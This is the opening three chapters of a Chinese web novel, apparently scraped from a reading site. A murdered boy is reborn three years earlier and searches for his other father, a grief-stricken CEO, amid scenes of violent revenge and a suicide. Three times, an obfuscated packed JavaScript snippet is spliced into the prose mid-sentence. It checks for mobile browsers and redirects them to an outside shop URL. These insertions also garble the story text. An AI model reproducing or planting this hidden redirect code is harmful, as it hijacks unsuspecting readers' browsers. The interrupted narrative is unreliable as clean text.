《亲爹脑子有病还能要吗》 1. 第 1 章 昏暗幽静的小巷里,一声沉闷的敲击声响起,江舒淮耳中出现巨大的嗡鸣声,眼前渐渐模糊。 倒下之前,他只来得及将江小鱼护住身下。 “爸爸,爸爸……”温热的血溅在江小鱼脸上,江小鱼想替江舒淮捂着伤口却怎么也捂不住,只能发出无助又绝望的哭声 花臂男人戏谑地看着手里带血的铁棍:“啧,今晚你们两个人谁也跑不了,上演父子情深也没用!” 花臂男人狠踹了江舒淮一脚,见他没了意识也依旧护着怀里半大的孩子,更加不爽了。 他蹲下身,卸了江舒淮的胳膊,把江小鱼扯出来,铁棍再次举起…… 一切结束后,花臂男人拿出手机,不知道在跟谁打电话,电话接通的瞬间他立马点头哈腰:“解决了,这父子俩都解决了,我们办事,您放心……” 这是江小鱼临死前听到的最后一句话。 不知道过了多久,身上疼痛感消失,江小鱼变得透明,整个人轻飘飘的,飘荡在空中,他下意识想抓住什么东西,怕来一阵风给他刮走。 可惜周围没什么能抓的东西,一阵大风刮来,江小鱼也没被吹走。 七岁的江小鱼想,他这是死了吗?能去天堂吗? 他想和爸爸一起去,四周却找不到爸爸的身影,江小鱼有些失落。 没找到爸爸,江小鱼便回到他和爸爸的身体旁边。 两个破碎的身体在江小鱼看来有些不真切,他只知道那是爸爸和自己,他希望有人能给他们收尸,好好埋葬。楼下张奶奶说,入土为安,如果不能入土的话,人死了也不安稳。 江小鱼默默地想,来个好心人吧,帮帮他和爸爸。 不知道是不是江小鱼的祈祷起了作用,几辆车在路口急刹停下,许多黑衣人匆忙从车上下来。 为首的男人身材高大,表情冷峻。 江小鱼只看了两眼,男人就已经到了他面前。 钟忘熵蹲下身子,手抖的厉害:“医生呢?让医生过来。” 最后一辆车上下来的医生拿着急救箱小跑着过来。 钟忘熵试探着伸出一只手放在江舒淮鼻前,江小鱼也跟着紧张起来。 几秒后,钟忘熵跌坐在地上。 医生翻看江舒淮和江小鱼的眼皮,最后也只摇了摇头:“钟总,两个人都已经没有了生命体征。” 钟忘熵捂住胸口,心脏一阵一阵的绞痛,一口鲜血突然喷了出来。 江小鱼被吓了一跳,忍不住多看了男人两眼,这个人是谁? “钟总。”医生和保镖纷纷围了过来。 钟忘熵推开要扶他的来人,擦了下嘴角,强撑着站起来:“动手的人呢?” 花臂男人被保镖压制着过来,跪在钟忘熵面前。 钟忘熵一脚踹在花臂男人心口处,眼睛血红:“谁让你动他们的?” 花臂男子吐出一口血来,声音在抖:“是宋家大少爷,我,我只是拿钱办事,我和这对父子无冤无仇,我真的只是拿钱办事的,不管我的事。” “那只手碰的他们?”钟忘熵声音很轻。 花臂男子眼中闪过惊恐,开始不断磕头:“我错了,钟总,饶了我吧,我知道错了,我马上去自首。” “那就两只手都剁了。”钟忘熵轻飘飘的落下一句话。 身后惨叫声响起,钟忘熵抱起江舒淮,吩咐:“别让他好过。” 刚开始,江小鱼看得还很解气,后来,江小鱼别过头,吐出一口气来,飘到自己身边。 终于,花臂男人没了气息。 江小鱼对着钟忘熵离开的方向,默默说了一句谢谢。 虽然他不知道男人是谁,但他替自己和爸爸报了仇,江小鱼诚心感谢。 不过,都把爸爸的身体带走了,就不能把自己的身体也带走吗? 他不想和爸爸分开。 江小鱼只抱怨了两声,钟忘熵去而复返,抱起江小鱼来。 江小鱼跟着飘过去,看到自己的身体被放到了爸爸旁边,终于开心了。 钟忘熵坐在江舒淮旁边,轻轻抚着他的头发:“抱歉,都是我的错,没保护好你们父子俩。” 这话让江小鱼更疑惑了,对方到底是谁啊?他不记得见过这位叔叔。 江舒淮和江小鱼的尸体被钟忘熵保存起来,江小鱼想着,他终于可以入土为安了,然而还没放心多久,江小鱼被一股引力带到了钟忘熵身边。 后座,钟忘熵失神地坐在一边,江小鱼尴尬但乖地坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643378|188162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在另一边,他好像不能离这位“钟总”太远。 三天的时间里,江小鱼看到钟忘熵手段雷厉风行,揪出了幕后黑手宋家大少爷宋敷束,以极其凶残的方式教训了对方。 江小鱼看着宋敷束那张可恶的脸,上去踹了两脚,都怪他,自己和爸爸这三年都没过过安稳日子。 宋敷束临死之前,没忍住问钟忘熵:“他们到底和你是什么关系,你要为了他们做到这个份上?” 这也是江小鱼想知道的,江小鱼坐在小板凳上,胖手撑着脸看钟忘熵。 钟忘熵的眼神有些空洞:“他们是我的爱人和孩子。” 宋敷束捂着流血的伤口,垂死挣扎:“钟总怕不是被人骗了,那孩子跟江舒淮长得一模一样,谁都能看出来他说江舒淮的亲儿子,怎么可能是钟总的孩子?” 钟忘熵的语气带着股死意:“舒淮为我生的孩子,我还没来得及和他说上一句话,还没来得及跟舒淮说一声谢谢,两个人就被你害死了。” 江小鱼惊讶地张大了嘴巴,又捂住了嘴巴。 他从小就没见过自己的妈妈,原来妈妈竟然是这么高大的一位男人。 好像也能接受。 一切结束后,江小鱼看着钟忘熵就跟花蔫了似的,下意识有些担心。 但钟忘熵还在操办他和爸爸的葬礼,好像也挺正常的。 灵堂里,两个棺材。 江小鱼被放到一个略小的棺材之中,江舒淮被放到很大的那个。 江小鱼在棺材里飘了一圈,很是开心,出来的时候,他看到钟忘熵也躺进了爸爸的棺材里。 江小鱼还没反应过来,钟忘熵一把短刃刺入胸口,鲜血不断流出,钟忘熵却露出一个笑容来,紧紧抱住了江舒淮,嘴角带着满足的笑意:“舒淮,我来陪你了。” 也是这时候,江小鱼感受到灵魂逐渐变轻。 最后,江小鱼只来得及将江舒淮和钟忘熵俩人的面孔印在脑子里,轻轻喊了一声:“爸爸,爸爸。” 下一秒,江小鱼猛地醒来。 江小鱼打量周围,这里好像是他三年前的家。 “江小鱼,出来吃饭了。”门外传来温柔清亮的男声。 一瞬间,江小鱼眼泪夺眶而出。 2. 第 2 章 江舒淮把所有菜都端到桌子上后,还没看到江小鱼蹦蹦跳跳出来,不免有些奇怪。 以往江小鱼吃饭最积极了,他喊一声,去厨房端个菜的功夫,回来时江小鱼已经板板正正坐好了。 “江小鱼。”江舒淮又喊了一声。 江小鱼小心翼翼地推开门,探出一个脑袋来。 江舒淮:“过来吃饭了。” 江小鱼使劲眨了好几下眼睛,猛地抱住江舒淮大腿,哽咽着出声:“爸爸。” 是能看得见,摸得到的爸爸! 他,好像变小了,爸爸也变年轻了。 他是在做梦吗?还是回到过去了?江小鱼的脑子一时之间有些不够用。 江舒淮有些哭笑不得,抱起江小鱼来,给他擦干净眼泪,又点了点他的额头:“是不是又不想去幼儿园了?” 上午的时候,江舒淮突然接到幼儿园老师的电话,说是江小鱼晕倒了。 江舒淮火急火燎的赶到幼儿园时,江小鱼已经醒过来了。 而问清楚事情原委后,让老师和家长都哭笑不得,原来是江小鱼一上午疯跑,体力耗尽,大课间加餐也没来得及吃,低血糖了。 老师让江舒淮把江小鱼先接回家,下午再送过去。 所以现在,江舒淮合理怀疑江小鱼是不想去幼儿园了。 江小鱼疑惑地抬头,又猛地点了点头,他不要去幼儿园,他要一直陪在爸爸身边。 江舒淮就知道,江小鱼自上幼儿园就表现出强大的排斥,平时各种花招层出不穷,估计刚才搞这一出也是为了不去幼儿园。 江舒淮没答应,他把江小鱼放到椅子上:“先乖乖吃饭,去幼儿园的事情,等我们吃完饭再商量,可以吗?” 江小鱼点了点头,抽了抽鼻子:“好。” 只要他能继续在爸爸身边,爸爸说什么都好。 饭桌上,江小鱼心不在焉的,直到被电视剧里的声音吸引了过去:“我苏家满门忠烈,却被你陷害至此,我真后悔当年在众多皇子之中选了你……” 女主话还没说完,却被捅了个对穿。 就在江小鱼悄悄吸了一口凉气的时候,女主在华丽的屋中醒来:“我重生了,我竟然重生到了皇帝伯伯让我选未婚夫之前,这一次,我再也不要选君文樟了!” 江小鱼瞪大了眼睛,所以,我也是重生了! 电视剧中,女主站起来,心声响起:这一辈子,我要靠我自己,保护好家人,让君文樟付出代价! 江小鱼斗志昂扬,也猛地站起来,心里想着:这一辈子,我也要靠我自己,保护好爸爸,让坏人付出代价! 江舒淮看着突然扔下筷子,好像要英雄变身似的江小鱼,小声喊了句:“江小鱼?” 江小鱼回神,意识到自己竟然在吃饭的时候站在了椅子上,不好意思的冲江舒淮笑笑,又坐了回来。 江小鱼的一系列行为让江舒淮摸不着头脑,江舒淮无奈的笑了笑,拿了双新筷子,干脆端过江小鱼的碗:“小鱼,爸爸喂你。” “不用,爸爸,”江小鱼拍拍小胸膛,“我可以自己吃饭。” 他上辈子已经是个七岁的大孩子了,自己吃饭,so easy! 吃饭的时候,江小鱼眼睛偷偷看着电视剧,打算看看重生后的女主要怎么做。 江舒淮看着江小鱼的小动静,也看向了电视,这是他随便找的一个短剧,怎么让江小鱼这么着迷? 短剧确实让人着迷,江舒淮和江小鱼的吃饭速度都慢了下来。 看着电视中的女主在重生后大杀四方,江小鱼握着拳头,他也要大杀四方。 第一步要做什么呢?江小鱼小小眉头扭着,往嘴里塞了一口饭。 嚼了两下,怎么没味道? 江小鱼低头一眼,自己的碗早就空了,他刚才吃到嘴里的是空气? 不管了,江小鱼放下碗筷:“爸爸,我吃饱了。” 江舒淮回过神来,看着江小鱼干干净净的碗,夸道:“小鱼真棒,今天吃的很干净。” 江小鱼笑眯眯的,也不看电视了,小胖手撑着下巴看江舒淮。 江舒淮吃完饭,摁停了短剧,看着江小鱼乐滋滋的小模样,没忍住亲了亲江小鱼带肉的脸颊。 江小鱼笑地更开心了。 直到江舒淮去了厨房,江小鱼眼睛转了转,他要干什么来着? 他要知道现在是什么时间! 江小鱼冲进卧室。 屋内,江小鱼拿下床头柜上的日历,这日历是江舒淮在江小鱼上幼儿园后买的,过一天会涂一格。 看到今天是三年前的九月三号,江小鱼天都塌了! 他怎么回到这个时候了! 九月一日,也就是两日前,江舒淮接江小鱼放学,路过一条小巷时,看到一个神情狠厉的男人持刀捅入女人腹部,而他周围其他人吸着白色的粉末,神情有些疯癫。 尽管江舒淮第一时间就带着江小鱼离开了那个地方,但还是被看到了。 从此之后,江舒淮和江小鱼身边麻烦不断,警察也毫无办法。 江小鱼现在回想起来也觉得那段日子格外痛苦,江舒淮的甜品店被搞没了,他们从现在的住处搬到地下室…… 江小鱼绝望望天,怎么不能让他早回来两天呢,这样他就可以带着爸爸不走那条路了。 现在要怎么办? 江小鱼不由自主地想起上辈子为他和爸爸报仇的“钟总”,“钟总”还是他另一位爸爸,江小鱼想:也许,他可以认回另一位爸爸,帮助他们躲过之后的麻烦。 收拾好厨房后,江舒淮打开门,悄悄看了一眼江小鱼,只见江小鱼绝望地倒在床上,没什么精神的样子。 见江小鱼状态不好,江舒淮思索片刻,给他向幼儿园老师请了下午的假。 午休过后,江舒淮决定带着江小鱼去他现在经营的甜品店。 江舒淮把江小鱼抱到电动车后座:“抓好了。” 江小鱼搂住江舒淮的腰,脸贴在江舒淮后背上:“坐好了,爸爸。” 甜品店中,一打开门,香甜的味道扑面而来,江小鱼眼睛放光。 江小鱼记得,爸爸开的这家甜品店,在一年之后因为不断有人来捣乱而倒闭了,他现在想起来还是心痛。 江小鱼捂住胸口,直到被江舒淮往嘴里塞了一小块面包,心情才好起来。 江舒淮摸了摸江小鱼的头:“爸爸今天下午很忙,你要乖乖的。” 江小鱼点了点头,表示自己一定乖。 江小鱼爬到沙发上,皱着小眉头,晃着小短腿,望着天花板,十分忧愁。 甜品店的规模不大,除了江舒淮这个店长,还有两个员工李纯和苏云涵。 李纯在前台收银,看了一眼江小鱼,有些新奇的跟后厨的江舒淮讲:“小鱼今天怎么这么乖?” 江舒淮头也不抬,笑道:“小鱼一向很乖的。” 李纯嘴角没忍住抽了下,江小鱼在他们眼中,跟混世魔王没多大区别,也就只有江舒淮这个亲爹能闭着眼睛夸乖了。 不过这年头单身父亲不容易,对儿子有滤镜很正常。 李纯和苏云涵俩人私底下都悄悄八卦过,不知道江小鱼的亲生母亲是谁,能狠下心来丢掉这么小的孩子,也舍得丢掉他们老板这么好的男人。 江舒淮长相出众,脾气温和,热心善良,任谁跟他说话都有种如沐春风的感觉,关键是身上没有一点男人病,在她们看来,这样的男人可遇不可求。 甜品店开业初期,不少人都是冲着江舒淮来的。 而江舒淮早早放出消息,这辈子都不打算再找伴侣,这才止住了些许狂风蝶浪。 就在李纯发呆的时候,衣摆被人轻轻扯了扯。 李纯低头,发现是不知道什么时候从沙发上跑过来的江小鱼,脸上不自觉带了笑。 江小鱼虽然是混世魔王,但他可爱啊,尤其是江小鱼长得几乎和江舒淮一模一样,看到江小鱼就好像看到Q版的江舒淮,没人能忍住不揉他的脸蛋。 看着正在忙碌的江舒淮,江小鱼悄悄问:“李纯姐姐,你认识‘钟总’吗?” 李纯费了好大力气,才给江小鱼解释清楚,“钟总”大概率是一个称谓,而不是人名。 江小鱼换了个问法:“李纯姐姐,你知道最厉害的姓钟的人是谁吗?” 上辈子“钟总”给他和爸爸报仇那么快,肯定是世界上最厉害的人。 李纯有些为难:“你这个范围可太大了,你先告诉姐姐你找这个人做什么?” 江小鱼大眼睛眨啊眨:“姐姐,我找他有特别重要的事情,帮帮忙嘛。” 李纯估计是这个年纪小孩奇奇怪怪的求知欲,她没忍住掐了把江小鱼肉嘟嘟的脸蛋:“行,今晚回去之后姐姐帮你查一查。” “谢谢姐姐。”江小鱼嘴甜道。 * 钟氏集团。 从董事长办公室出来的王守成和李越灰头土脸的,显然被打击的不轻。 想起刚才在办公室里,钟忘熵时不时地冷笑一声,除此之外什么话都不说,独留王守成和李越俩人胆战心惊。 即使现在出来了,王守成和李越对视一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643379|188162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还是觉得后背冷汗直冒。 他们早就听说过钟总不是正常人,但今日真遇上了,他们才真正知道钟总不正常在哪里。 王守成和李越昨晚被合作方灌了酒,喝醉后直接把最低价交代了,今日会议室里,合作方得意洋洋,以高于最低价一毛的价格报价。 钟忘熵冷冷看了一眼合同,直接天女散花扔了所有合同,头也不回的走了。 合作方想道歉都找不到机会。 而王守成和李越被叫到董事长办公室,受了半个小时的“冷暴力”,俩人还不知道后续钟总要怎么处置他们。 李越一脸死相:“咱们俩这是要完蛋的节奏。” 王守成愁容满面,重重叹了口气:“我都这个年纪了,没有比钟氏集团更好的去处了,我儿子今年刚上小学,为了让他上重点小学,家里拼尽全力买的学区房,房贷还没还完,我这要是被裁了……” 经理看着俩人,觉得这俩人糊涂,又恨铁不成钢,最后也只留下一句:“要是几年前,钟总也许心软就放过你们了,现在的钟总,眼里容不得一点沙子,你们俩好自为之吧。” “钟总为啥变成现在这样了?”李越好奇问。 经理没搭理他们,但有其他人也知道这事。 号称钟氏集团知道最多八卦的毕碧计:“这事说来话长。” 在李越和王守成期待的眼神中,毕碧计清了清嗓子:“我也只是听说,据说钟总大学时期有位白月光般的爱人,俩人关系特别好,打算毕业就出国领证的那种,后面不知道出了什么意外,那位白月光死了,钟总也就病了。” 毕碧计说“病”的时候,指了指脑子。 王守成:“要这么说,钟总还是个痴情人。” 李越:“别管什么痴情不痴情的,咱俩工作马上就要没了” 毕碧计看热闹不嫌事大:“我给你们出个主意,小说看过没有,忘掉白月光的最好方法,就是找一个相似的替身,只要足够像,钟总哪还记得什么白月光?说不定钟总一个心情好,你俩这事也就过去了。” “替身去哪儿找?”王守成真诚发问。 毕碧计:“那我就不知道了,说不定哪天你运气好,在大街上都能碰到呢!” 毕碧计就是随口乱说的,没想到王守成是个老实的,还真听进去了。 不过钟总白月光长什么样呢? 王守成找上了自己表哥,另一个部门的经理,也是钟总的学弟。 李万里:“正好要找你呢,公司最近加购了许多玩具,你带一些回去给小虎玩。” 王守成:“先别管什么玩具了,表哥,我有件事想问问你。” 听完王守成的话后,李万里推了推眼睛:“钟总白月光?” 王守成点了点头。 李万里还真见过,凭着记忆形容:“高挑,瘦削,很漂亮,很温柔,脾气很好,不,脾气特别好!” 王守成:“还有吗?” 李万里:“嗯……人缘也特别好。” 王守成:“有没有什么比较明显的特征?表哥,有照片吗?” 李万里翻着手机:“之前Q大校园论坛和表白墙上全是钟总和他白月光的照片,后来一夜之间全没了,我当时截过一个侧脸,我看看还能不能找到。” “找到了。” 王守成看向照片中的人,他认得钟总,另一个是男的。 直男王守成惊讶抬头,钟总这白月光还是个男的! 李万里还指给他:“这个就是钟总白月光,我形容的准确吧。” 王守成看向照片中另一个男子,瘦削漂亮,穿着简单的白T牛仔,干净美好,不像真人。 这样美好的人,他在生活中都没有见过,又去哪里给钟总找替身呢? * 为了奖励江小鱼一下午的乖巧,江舒淮在下班之前特意给江小鱼留了块草莓小蛋糕。 电动车后座上,江小鱼一手抱着小蛋糕,一手紧紧搂着江舒淮:“谢谢爸爸。” 家里,江舒淮看着吃蛋糕的江小鱼,跟他商量:“明天必须要去上幼儿园了。” 江小鱼不想去幼儿园,他已经是小学二年级的学生了,跟幼儿园那群小屁孩不一样了。 而且,他现在有更重要的任务,找到另一位爸爸。 忙了一下午,偷偷向各位客人打听谁是最厉害的“钟总”,却没有得到一点消息的江小鱼很是颓废。 江小鱼突然抬头,嘴角还带着奶油,他小心问出:“爸爸,我有妈妈呢?” 江舒淮一愣,准备给江小鱼擦嘴角的手一顿。 3. 第 3 章 江舒淮惊讶于江小鱼会问出这个问题来,毕竟以前江小鱼从来没有过类似的疑问,好像生活中只有一个爸爸是理所当然的事情,现在江小鱼突然问起妈妈,让江舒淮不免多想了几分。 结合今日江小鱼不想去幼儿园的事情,江舒淮小心问:“小鱼,是幼儿园其他小朋友说了什么吗?” 江小鱼做作地叹了口气:“没有,爸爸,我就是见别人都有爸爸妈妈,所以想问问我的妈妈。” 江舒淮松了口气:“小鱼当然也有妈妈了,但是他……” 江舒淮欲言又止:“他生病了,所以暂时不能和你见面了。” 要是四岁的江小鱼肯定就被哄住了,但现在的江小鱼可是七岁的江小鱼,他已经懂得了大人们善意的谎言了,知道这是爸爸找的借口。 江小鱼小心问:“爸爸,我可以去找妈妈吗?”让他保护我们。 江舒淮很坚决的道:“不可以,我们现在不可以打扰……妈妈。” 江小鱼忧愁的叹了口气,他就知道,从爸爸这里问不出什么来,不然他上辈子也不会到死都不知道另一个爸爸是钟总。 江舒淮摸摸江小鱼的头:“等小鱼长大了就知道了。” 江小鱼想,他已经长大过一次。 晚上躺在床上,江舒淮先给江小鱼盖好被子,又给自己盖好被子。 江舒淮靠在床上,江小鱼也学他的样子靠着,头却搭在江舒淮的胳膊上。 江舒淮拿出一本故事书来,江小鱼便又抱着江舒淮的胳膊,听着爸爸给他讲故事。 迷迷糊糊的时候,江小鱼呢喃了一声:“爸爸,我好爱你。” 江舒淮声音停下,心软的一塌糊涂,他抱着江小鱼放平,仔细给江小鱼盖好被子,亲了亲江小鱼的脸颊:“宝贝,爸爸也爱你。” 江小鱼还没完全睡着,听见这话,强撑着睁开眼睛:“爸爸,我这辈子一定要保护好你。” 江舒淮只以为江小鱼是睡迷糊了,温声答应:“好。” 江小鱼这才陷入梦乡。 江小鱼睡着后,江舒淮却一时半会没有睡着。 以往江舒淮的江小鱼的作息一样,但今晚,江舒淮揉了揉额头,并没有睡意。 江小鱼在晚饭时的问题,在江舒淮平静的心里激起了一道涟漪,让他不自觉的想起了那个男人,不知道这么多年过去了,他好点了吗。 第二日,江小鱼看着江舒淮忙里忙外给他装书包,拿上水瓶…… 江小鱼小跑到江舒淮面前:“爸爸,我不想去幼儿园。” 他已经是上小学的人,现在竟然还要重返幼儿园,江小鱼十分不屑。 江舒淮弯下腰:“昨天你已经答应爸爸了,乖,爸爸晚上就来接你,好不好?” 江小鱼只能不情不愿的点了点头。 “真乖。”江舒淮摸了摸江小鱼的头。 算了,江小鱼想,我就勉强上个幼儿园,就当是哄爸爸开心了。 幼儿园里,江小鱼撑着下巴望天,对老师讲的故事十分不屑,这个故事他早就听过了,他都会讲了。 幼儿园老师不免多看了江小鱼几眼,虽然只开学了几天,他也记得这孩子以前最为活泼了,怎么请了一天假回来之后,这么安静了,怪不习惯的。 晚上的时候,江舒淮果然早早就等在幼儿园门口。 江小鱼奔向江舒淮:“爸爸,我好想你。” 幼儿园老师也在外边,见状笑道:“小鱼爸爸,今天小鱼很乖。” 江舒淮温和的笑了笑:“谢谢老师,辛苦老师了。” 面对这样温润的男人,幼儿园老师有种如沐春风的感觉:“不客气,小鱼爸爸,这都是我们该做的。” 回到家以后,江舒淮从包里拿出一张纸条,递给了江小鱼:“你小纯姐姐托我带给你的,说是你们之间的秘密。” 江小鱼眼睛一亮,想起昨天下午的时候,他让李纯姐姐帮忙打听最厉害的姓钟的人,没想到今日他没去甜品店,小纯姐姐给他捎来了纸条。 江小鱼看了江舒淮好几眼,看似超不经意,实际上小动作超多,超明显地回到了房间。 江舒淮笑着摇了摇头,开始做晚饭。 回到房间以后,江小鱼才敢打开纸条,上面好多姓钟的人,让江小鱼看花了眼,哪个才是他爸爸“钟总”呢? 江小鱼默默记着这些人名,到最后一个时他挠了挠头,学历小学二年级的江小鱼不认得最后一个字。 没关系,江小鱼收好纸条,他明天可以问老师。 幼儿园里,新来的李老师用自己手机连上教室里的投影,打算放个动画片,迎接孩子们的到来。 一打开视频APP,一张帅脸吸引了李老师的注意力,李老师点进直播,发现是财经类的采访,她想,早上给孩子们科普一些财经知识也不错。 李老师只来得及看了两眼直播,就到幼儿园门口,迎接小朋友们上学。 江小鱼非常不情愿来到幼儿园,极其不情愿的走进教室上学,他不经意的看了眼电视后,又瞥了一眼,他眼睛立马亮了:钟总! 江小鱼又掏出纸条来,和不断滚动的字幕对比,终于确定了:钟忘熵,他的另一个爸爸的名字! 直播间里,主持人笑着,不动声色的挖了几个坑,希望能从这位A市最年轻的钟氏掌权人口中挖出什么料来。 一秒,两秒,三秒…… 钟忘熵板着脸,一言不发。 主持人脸上的笑容都快要挂不住了,在导演的提醒下,又转移了话题,问着普通的不能再普通的问题:“钟总能讲一讲钟氏集团的企业理念吗?” 钟忘熵依旧是一言不发。 之后,不管主持人问什么,钟忘熵都不说话,主持人只能自言自语,介绍钟忘熵的个人生平,介绍钟氏集团。 钟忘熵有些随意地坐着,仿佛主持人说的这些,和他完全没有关系似的。 主持人都快要哭了。 终于在快要结束的时候,主持人没忍住道:“钟总,您说句话啊。” 钟忘熵随意的瞥了一眼:“再见。” 在主持人惊愕的目光中,钟忘熵起身,离开了直播间。 钟忘熵一出门,兜里的手机就响了,他看了好几眼屏保上温润干净的爱人,才随意的按了接通。 中年男人的声音传出来:“你就这么给我找不痛快是吧,别的不说,你这次代表的是钟家,是钟氏集团,钟家的脸面都给你丢尽了。” 打电话的男人是钟忘熵的父亲,这次直播是他牵的线,也拿了直播平台老总不少好处,他跟钟忘熵提这事的时候,想了无数说辞,他只说了几个,钟忘就熵随口答应了,没想到在这等着他呢。 现在钟父的手机还不断有来电,全是对方老总打来的。 “扣钱。”钟忘熵淡淡的吐出两个字来,噎住了钟父。 钟父更气了:“你凭什么扣我的钱?” 钟忘熵语气懒洋洋的:“因为你不把钟家掌权人的话当成圣旨,还敢质疑钟家掌权人的话,再扣。” 钟父终于止住了话题,却忍不住骂道:“你这个小畜生。” “嗯,老畜生。”钟忘熵挂掉了电话。 幼儿园里,看着钟忘熵走后,江小鱼有些着急,怎么这就走了?他还没看够呢。 直播间了,主持人还在继续介绍:“钟氏集团是我市数一数二的龙头企业,涵盖医疗,民用……” 主持人还没讲完,到上课时间了,李老师关掉了投影。 这种无聊的直播,幼儿园没几个小朋友爱看,也就江小鱼看得津津有味。 上课的时候,江小鱼用铅笔把“熵”这个字写下来,一下课就立马跑去问老师。 李老师看着江小鱼歪歪扭扭的字:“shang,这个字念shang,像咱们市钟氏集团的董事长就叫钟忘熵,小鱼是不是看早上的采访了,才好奇这个字念什么的?” 江小鱼点了点头:“老师你知道他在哪里吗?” 李老师:“他在哪里?老师不知道,但是钟氏集团的产业遍布全市,像咱们幼儿园旁边的超市,就是钟氏集团旗下的。” 江小鱼眼睛亮了,他知道他们幼儿园旁边有一家超市,没想到是他另一个爸爸的。 午休的时候,江小鱼一直保持着激动的心情,根本睡不着。 等老师走后,他睁开一只眼,确定老师不在,江小鱼悄悄坐了起来。 江小鱼东躲西藏,动作缓慢跟做贼似的,一点点移到了幼儿园门口,就在他趴下想试试能不能从大门底下的缝钻出去时,传来一个焦急的声音:“江小鱼,你要去哪儿?” 江小鱼:“……” 江小鱼站起来拍了拍身上的土:“老师,我没想去哪,我在锻炼身体。” 幼儿园园长黑着脸,一副你看我相信吗的样子。 放学的时候,李老师跟江舒淮告状:“小鱼爸爸,今天江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643380|188162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小鱼趁午休的时候乱跑,差点就跑出去了。” 江舒淮看向江小鱼,江小鱼低着头,两手拉着自己的衣服下摆,心虚的不行。 江舒淮:“抱歉,给老师们惹麻烦了,今天晚上我会问问他原因。” 李老师摸摸江小鱼的头:“没事,小鱼最近乖了许多。” 没人的地方,江舒淮问起江小鱼跑出去的原因。 看着近在咫尺的超市,江小鱼小声:“爸爸,我想逛超市,中午出来,我就想逛个超市就回来的。” 江舒淮觉得这个理由有点扯,但看江小鱼又不像撒谎的样子,最终选择了相信,不过他还是教育了一通:“小孩子不能随便乱跑,万一被不认识的人骗了,爸爸会很伤心的。” 江小鱼猛猛点头之后,小心地问:“爸爸,现在可以逛超市了吗?” 江舒淮无奈的叹了口气,要把江小鱼抱上电动车后座。 他们平时常去的是家附近的一家超市,江小鱼平时最爱逛了。 这次,江小鱼却拉住江舒淮,指着旁边的超市:“爸爸,我想逛这个超市。” 江舒淮不明所以,被江小鱼拉到了超市门口。 看到超市右下角“钟氏集团”四个字时,江舒淮有片刻的愣神。 他摇了摇头,牵着江小鱼,进入了超市中。 江小鱼一进去就跟撒欢似的,跑得飞快,江舒淮紧跟其后。 见江舒淮在看大米,江小鱼拉了拉江舒淮的袖子,指了指冰柜的方向:“爸爸,我要去那里看冰激凌,你记得去那里找我。” 江舒淮看了一眼,有些不放心,一个超市的女员工热心道:“你慢慢挑,孩子我帮你看着。” 江舒淮道谢,却还是快速选好米,隔着一段距离看着江小鱼,让他慢慢选。 江小鱼回头看了江舒淮一眼,又看着冰柜那边的工作人员小姐姐,小声道:“姐姐你好,我找你们的老板钟忘熵钟总。” “我们老板不是……”说到一半,工作人员反应过来,“那是我们集团的老板,不是我们超市的老板。” 江小鱼摸了摸头,老板能有这么多个吗? 算了,不管了,江小鱼道:“姐姐,我找的是钟忘熵。” 工作人员笑了:“小朋友,钟总是不会来我们这里的。” 江小鱼很是疑惑,老板为什么不在店里?像他爸爸就天天在甜品店里。 江小鱼十分苦恼,只能问:“那他在哪里?我怎么才能找到他?” 工作人员被江小鱼忧愁的小模样逗乐了:“姐姐也不知道。” “小鱼,选好了吗?” 听到爸爸在喊他,江小鱼看向工作人员:“刚才我们说的话是秘密,不可以跟其他人讲的。” 工作人员笑着点了点头:“好。” “选好了吗?”江舒淮问。 江小鱼摇了摇头:“我又不想吃了,爸爸。” “好,”江舒淮尊重孩子的意见,摸了摸江小鱼的头:“超市逛完了,咱们回家吧。” 江小鱼蔫蔫的点了点头。 回到家之后,江舒淮看到了幼儿园的通知:“小鱼,你们明天上午要去博物馆参观学习了。” 以往这种活动,江小鱼最是积极,但今天,江小鱼只无聊的“哦”了一声,没多大反应。 江舒淮疑惑的看着江小鱼,不知道是不是错觉,这几天的小鱼变化好像有些大。 晚上睡觉,江小鱼依旧抱着江舒淮的胳膊,他想,肯定还有别的办法能够找到钟忘熵的! * 晚上,王守成疲惫地回家,揉了揉眼睛,这几天他一直在努力寻找和钟总白月光像的人,但一无所获,那样好的人哪里能找到呢? 王小虎不知道从哪窜出来,跳到了王守成背上:“爸爸,今天老师上课的时候讲到了甲骨文,说我们博物馆就有,爸爸明天你带我去博物馆吧。” 王小虎跟他名字一样,虎头虎脑的,王守成一见儿子,仿佛什么疲惫都没了。 要是以前,王守成肯定是忙于工作,没有时间陪伴儿子,只能让妻子带儿子去的,但现在,王守成想,反正他马上就要被开除了,陪着儿子重要。 